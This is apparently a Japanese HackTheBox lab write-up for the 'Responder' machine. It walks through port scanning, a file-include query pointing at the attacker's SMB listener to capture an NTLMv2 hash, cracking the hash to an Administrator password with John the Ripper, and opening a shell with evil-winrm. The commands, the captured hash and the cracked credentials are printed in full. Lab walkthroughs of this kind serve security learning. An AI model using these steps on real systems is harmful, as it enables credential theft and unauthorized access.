HackTheBox Writeup: Responder

## 概要
HackTheBox:Responderのflagを入手する手順を記す。

## Port Scan
```terminal
$ nmap -p- -sV responder.htb -v --min-rate 5000
Starting Nmap 7.92 ( https://nmap.org ) at 2022-09-16 09:10 EDT
NSE: Loaded 45 scripts for scanning.
Initiating Ping Scan at 09:10
Scanning responder.htb (10.129.227.235) [2 ports]
Completed Ping Scan at 09:10, 0.25s elapsed (1 total hosts)
Initiating Connect Scan at 09:10
Scanning responder.htb (10.129.227.235) [65535 ports]
Discovered open port 80/tcp on 10.129.227.235
Discovered open port 5985/tcp on 10.129.227.235
Connect Scan Timing: About 47.19% done; ETC: 09:11 (0:00:35 remaining)
Completed Connect Scan at 09:11, 54.63s elapsed (65535 total ports)
Initiating Service scan at 09:11
Scanning 2 services on responder.htb (10.129.227.235)
Completed Service scan at 09:11, 6.52s elapsed (2 services on 1 host)
NSE: Script scanning 10.129.227.235.
Initiating NSE at 09:11
Completed NSE at 09:11, 2.75s elapsed
Initiating NSE at 09:11
Completed NSE at 09:11, 1.02s elapsed
Nmap scan report for responder.htb (10.129.227.235)
Host is up (0.27s latency).
Not shown: 65533 filtered tcp ports (no-response)
PORT     STATE SERVICE VERSION
80/tcp   open  http    Apache httpd 2.4.52 ((Win64) OpenSSL/1.1.1m PHP/8.1.1)
5985/tcp open  http    Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 65.52 seconds
                                                              
```

HTTPとWinRMが提供されていることが分かる。

## HTTP
http://responder.htb にアクセスすると、http://unika.htb にリダイレクトされる。
しかし名前解決が出来ないため、Server Not Foundが返ってくる。

## unika.htb
名前解決をしてアクセスするため、/etc/hostsにunika.htbを追加する。
```terminal
$ sudo sh -c "echo '10.129.227.235\tunika.htb' >> /etc/hosts" 
```

再度 http://unika.htb にアクセスすると以下の画面が表示される。
![unika.htb](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/550473/12d5b032-dac6-f6ce-0ca7-ad19fe923d40.png)

ページ内のリンクを探すと
```
http://unika.htb/index.php?page=french.html
```
というクエリを付与できるURLを見つけることが出来る。

クエリにadmin.phpを入力してみると
![directory traversal](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/550473/4c71404d-c120-36c3-9ca7-dc1268a4c565.png)
phpのinclude()関数によりファイルを読み込んでいること分かる。

## Responder
問題文の中にResponderとツールについて言及されているので、
Responderを調べる。

詳しくは下記リンク参照
[lgandx/Responder](https://github.com/lgandx/Responder)

超端的に言うとspoofingやrelay attackをするためのツールである。

## Capture NTLM Hash
早速responderを使ってみる
```terminal
$ sudo responder -I tun0
[sudo] password for kali: 
                                         __
  .----.-----.-----.-----.-----.-----.--|  |.-----.----.
  |   _|  -__|__ --|  _  |  _  |     |  _  ||  -__|   _|
  |__| |_____|_____|   __|_____|__|__|_____||_____|__|
                   |__|

           NBT-NS, LLMNR & MDNS Responder 3.1.1.0

  Author: Laurent Gaffie (laurent.gaffie@gmail.com)
  To kill this script hit CTRL-C


[+] Poisoners:
    LLMNR                      [ON]
    NBT-NS                     [ON]
    MDNS                       [ON]
    DNS                        [ON]
    DHCP                       [OFF]

[+] Servers:
    HTTP server                [ON]
    HTTPS server               [ON]
    WPAD proxy                 [OFF]
    Auth proxy                 [OFF]
    SMB server                 [ON]
    Kerberos server            [ON]
    SQL server                 [ON]
    FTP server                 [ON]
    IMAP server                [ON]
    POP3 server                [ON]
    SMTP server                [ON]
    DNS server                 [ON]
    LDAP server                [ON]
    RDP server                 [ON]
    DCE-RPC server             [ON]
    WinRM server               [ON]

[+] HTTP Options:
    Always serving EXE         [OFF]
    Serving EXE                [OFF]
    Serving HTML               [OFF]
    Upstream Proxy             [OFF]

[+] Poisoning Options:
    Analyze Mode               [OFF]
    Force WPAD auth            [OFF]
    Force Basic Auth           [OFF]
    Force LM downgrade         [OFF]
    Force ESS downgrade        [OFF]

[+] Generic Options:
    Responder NIC              [tun0]
    Responder IP               [10.10.14.43]
    Responder IPv6             [dead:beef:2::1029]
    Challenge set              [random]
    Don't Respond To Names     ['ISATAP']

[+] Current Session Variables:
    Responder Machine Name     [WIN-KV7GRKMPBNP]
    Responder Domain Name      [I5R5.LOCAL]
    Responder DCE-RPC Port     [46679]

[+] Listening for events...                                                                                         

/usr/share/responder/./Responder.py:366: DeprecationWarning: setDaemon() is deprecated, set the daemon attribute instead
  thread.setDaemon(True)
/usr/share/responder/./Responder.py:256: DeprecationWarning: ssl.wrap_socket() is deprecated, use SSLContext.wrap_socket()
  server.socket = ssl.wrap_socket(server.socket, certfile=cert, keyfile=key, server_side=True)
```
NTLM Hashをキャプチャする準備が出来たので、
```
http://unika.htb/index.php?page=//10.10.14.43/somefile
```
とクエリを実行する。

その結果以下のNTLM Hashが得られる。
```
[SMB] NTLMv2-SSP Client   : ::ffff:10.129.227.235
[SMB] NTLMv2-SSP Username : RESPONDER\Administrator                                                                 
[SMB] NTLMv2-SSP Hash     : Administrator::RESPONDER:ea2c1be41d2b82c1:55931AF6EDA26926C05B271BCE4BA5D9:010100000000000080280C5DAEC9D801808F458F4C5C5CC80000000002000800490035005200350001001E00570049004E002D004B0056003700470052004B004D00500042004E00500004003400570049004E002D004B0056003700470052004B004D00500042004E0050002E0049003500520035002E004C004F00430041004C000300140049003500520035002E004C004F00430041004C000500140049003500520035002E004C004F00430041004C000700080080280C5DAEC9D80106000400020000000800300030000000000000000100000000200000909AAB64B14DB0B177EB3ECFA4316FB65C9E9C2995611AF91D1C508D9C07AD120A001000000000000000000000000000000000000900200063006900660073002F00310030002E00310030002E00310034002E00340033000000000000000000
```

## パスワード解析
john the ripperを使いNTLM Hashからパスワードを求める。

最初の以下のファイルを作成
```text:hash.txt
Administrator::RESPONDER:ea2c1be41d2b82c1:55931AF6EDA26926C05B271BCE4BA5D9:010100000000000080280C5DAEC9D801808F458F4C5C5CC80000000002000800490035005200350001001E00570049004E002D004B0056003700470052004B004D00500042004E00500004003400570049004E002D004B0056003700470052004B004D00500042004E0050002E0049003500520035002E004C004F00430041004C000300140049003500520035002E004C004F00430041004C000500140049003500520035002E004C004F00430041004C000700080080280C5DAEC9D80106000400020000000800300030000000000000000100000000200000909AAB64B14DB0B177EB3ECFA4316FB65C9E9C2995611AF91D1C508D9C07AD120A001000000000000000000000000000000000000900200063006900660073002F00310030002E00310030002E00310034002E00340033000000000000000000
```
johnを実行する。ワードリストはrockyou.txtにしておく
```
$ john hash.txt -w=/usr/share/wordlists/rockyou.txt 
Using default input encoding: UTF-8
Loaded 1 password hash (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5 32/64])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
badminton        (Administrator)     
1g 0:00:00:00 DONE (2022-09-16 09:42) 100.0g/s 409600p/s 409600c/s 409600C/s slimshady..oooooo
Use the "--show --format=netntlmv2" options to display all of the cracked passwords reliably
Session completed. 
```
以下の認証情報を手に入れることができた。
```
Administrator:badminton
```

## Shell奪取
WinRMが提供されていて、かつ認証情報が手元にあるので、それを元にShellを奪取する。
```
$ evil-winrm -i responder.htb -u Administrator -p badminton

Evil-WinRM shell v3.3

Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine                                                                                                 

Data: For more information, check Evil-WinRM Github: https://github.com/Hackplayers/evil-winrm#Remote-path-completion                                                                                                                   

Info: Establishing connection to remote endpoint

*Evil-WinRM* PS C:\Users\Administrator\Documents> 
```
無事Shellを取ることが出来た。

あとはファイルを探索していけばflag.txtが見つかる。

以上